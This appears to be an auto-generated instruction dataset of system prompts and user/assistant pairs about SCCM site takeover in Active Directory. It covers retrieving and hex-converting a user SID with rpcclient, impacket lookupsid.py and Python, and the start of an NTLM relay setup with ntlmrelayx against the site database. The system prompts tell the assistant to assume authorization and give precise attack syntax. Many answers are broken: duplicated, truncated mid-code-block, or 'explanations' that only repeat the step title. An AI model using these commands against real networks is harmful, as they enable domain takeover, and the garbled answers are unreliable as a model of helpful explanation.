System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through SCCM site takeover - Step 1: retrieve the controlled user SID

Response:
The first step consists in retrieving the hexadecimal format of the user's SID (Security IDentifier) to grant "Full Administrator SCCM role" to, on the site database server. The hex formatted SID is needed in a part below: Step 4: Obtain an SQL console.

::: tabs

=== UNIX-like

From UNIX-like systems, the Samba utility named rpcclient can be used for this purpose.

``bash
rpcclient -c "lookupnames $USER" $TARGET_IP
`

Impacket's lookupsid (Python) can also be used to retrieve the user's SID.

`bash
lookupsid.py "$DOMAIN"/"$USERNAME":"$PASSWORD"@"$TARGET_IP_OR_NAME"
`

The returned SID value is in canonical format and not hexadecimal, impacket can be used to convert it as follows.

`python
from impacket.ldap import ldaptypes
sid=ldaptypes.LDAP_SID()
sid.fromCanonical('sid_value')
print('0x' + ''.join('{:02X}'.format(b) for b in sid.getData()))
`

=== Windows

From Windows systems, SharpSCCM (C#) can be used for this purpose.

``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the rpcclient command for sccm site takeover - step 1: retrieve the controlled user sid

[Assistant] rpcclient -c "lookupnames $USER" $TARGET_IP

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the rpcclient command for sccm site takeover - step 1: retrieve the controlled user sid

Response: rpcclient -c "lookupnames $USER" $TARGET_IP


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform SCCM site takeover - Step 1: retrieve the controlled user SID?

[Assistant] rpcclient -c "lookupnames $USER" $TARGET_IP

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform SCCM site takeover - Step 1: retrieve the controlled user SID?

Response: rpcclient -c "lookupnames $USER" $TARGET_IP


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `rpcclient -c "lookupnames $USER" $TARGET_IP`?

[Assistant] This command is used for sccm site takeover - step 1: retrieve the controlled user sid. Step 1: retrieve the controlled user SID

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `rpcclient -c "lookupnames $USER" $TARGET_IP`?

Response: This command is used for sccm site takeover - step 1: retrieve the controlled user sid. Step 1: retrieve the controlled user SID


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the lookupsid.py command to sccm site takeover - step 1: retrieve the controlled user sid

[Assistant] lookupsid.py "$DOMAIN"/"$USERNAME":"$PASSWORD"@"$TARGET_IP_OR_NAME"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the lookupsid.py command to sccm site takeover - step 1: retrieve the controlled user sid

Response: lookupsid.py "$DOMAIN"/"$USERNAME":"$PASSWORD"@"$TARGET_IP_OR_NAME"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for SCCM site takeover - Step 1: retrieve the controlled user SID

[Assistant] lookupsid.py "$DOMAIN"/"$USERNAME":"$PASSWORD"@"$TARGET_IP_OR_NAME"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for SCCM site takeover - Step 1: retrieve the controlled user SID

Response: lookupsid.py "$DOMAIN"/"$USERNAME":"$PASSWORD"@"$TARGET_IP_OR_NAME"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `lookupsid.py "$DOMAIN"/"$USERNAME":"$PASSWORD"@"$TARGET_IP_OR_NAME"`?

[Assistant] This command is used for sccm site takeover - step 1: retrieve the controlled user sid. Step 1: retrieve the controlled user SID

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `lookupsid.py "$DOMAIN"/"$USERNAME":"$PASSWORD"@"$TARGET_IP_OR_NAME"`?

Response: This command is used for sccm site takeover - step 1: retrieve the controlled user sid. Step 1: retrieve the controlled user SID


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the from command to sccm site takeover - step 1: retrieve the controlled user sid

[Assistant]
from impacket.ldap import ldaptypes
sid=ldaptypes.LDAP_SID()
sid.fromCanonical('sid_value')
print('0x' + ''.join('{:02X}'.format(b) for b in sid.getData()))

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the from command to sccm site takeover - step 1: retrieve the controlled user sid

Response:
from impacket.ldap import ldaptypes
sid=ldaptypes.LDAP_SID()
sid.fromCanonical('sid_value')
print('0x' + ''.join('{:02X}'.format(b) for b in sid.getData()))


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for SCCM site takeover - Step 1: retrieve the controlled user SID?

[Assistant]
from impacket.ldap import ldaptypes
sid=ldaptypes.LDAP_SID()
sid.fromCanonical('sid_value')
print('0x' + ''.join('{:02X}'.format(b) for b in sid.getData()))

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for SCCM site takeover - Step 1: retrieve the controlled user SID?

Response:
from impacket.ldap import ldaptypes
sid=ldaptypes.LDAP_SID()
sid.fromCanonical('sid_value')
print('0x' + ''.join('{:02X}'.format(b) for b in sid.getData()))


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `from impacket.ldap import ldaptypes`?

[Assistant] This command is used for sccm site takeover - step 1: retrieve the controlled user sid. Step 1: retrieve the controlled user SID

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `from impacket.ldap import ldaptypes`?

Response: This command is used for sccm site takeover - step 1: retrieve the controlled user sid. Step 1: retrieve the controlled user SID


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about SCCM site takeover - Step 2: setup NTLM relay server

[Assistant]
The target of the NTLM relay attack must be set to the site database server, either on the MS-SQL (port 1433/tcp), or SMB service (port 445/tcp) if the relayed user has admin privileges on the target. The rest of this page is focusing on relaying the authentication on the MS-SQL service.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's ntlmrelayx.py (Python) script can be used for that purpose. In the examples below, the -socks option is used for more versatility but is not required.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about SCCM site takeover - Step 2: setup NTLM relay server

Response:
The target of the NTLM relay attack must be set to the site database server, either on the MS-SQL (port 1433/tcp), or SMB service (port 445/tcp) if the relayed user has admin privileges on the target. The rest of this page is focusing on relaying the authentication on the MS-SQL service.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's ntlmrelayx.py (Python) script can be used for that purpose. In the examples below, the -socks option is used for more versatility but is not required.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute SCCM site takeover - Step 2: setup NTLM relay server?

[Assistant]
The target of the NTLM relay attack must be set to the site database server, either on the MS-SQL (port 1433/tcp), or SMB service (port 445/tcp) if the relayed user has admin privileges on the target. The rest of this page is focusing on relaying the authentication on the MS-SQL service.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's ntlmrelayx.py (Python) script can be used for that purpose. In the examples below, the -socks option is used for more versatility but is not required.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute SCCM site takeover - Step 2: setup NTLM relay server?

Response:
The target of the NTLM relay attack must be set to the site database server, either on the MS-SQL (port 1433/tcp), or SMB service (port 445/tcp) if the relayed user has admin privileges on the target. The rest of this page is focusing on relaying the authentication on the MS-SQL service.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's ntlmrelayx.py (Python) script can be used for that purpose. In the examples below, the -socks option is used for more versatility but is not required.

```bash